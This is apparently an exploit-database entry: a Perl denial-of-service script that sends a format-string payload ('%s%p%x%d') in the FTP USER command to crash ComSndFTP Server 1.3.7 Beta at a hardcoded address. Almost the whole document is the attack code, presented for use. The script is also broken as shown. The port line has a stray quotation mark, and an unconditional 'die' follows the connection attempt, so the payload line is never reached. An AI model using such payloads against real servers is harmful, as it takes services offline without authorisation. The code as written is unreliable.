ComSndFTP Server 1.3.7 Beta Denial Of Service

`#!/usr/bin/perl  
# ComSndFTP Server Remote Format String Denial of Service (DoS)  
  
use strict;  
use warnings;  
use IO::Socket;  
  
$| = 1;  
  
my $host = "192.168.172.136";  
my $port = "21"";  
  
my $payload = '%s%p%x%d';  
  
print "Connecting... ";  
  
my $sock = IO::Socket::INET->new(  
PeerAddr => $host,  
PeerPort => $port,  
Proto => 'tcp',  
Timeout => 30  
);  
  
die "Unable to connect \n";  
  
$sock->recv(my $content, 100, 0);  
sleep(2);  
  
$sock->send("USER $payload\r\n", 0);  
sleep(2);  
  
$sock->recv($content, 100, 0);  
sleep(5);  
  
$sock->close;  
  
print "Denial Of Service completed!\n";  
exit(0);  
`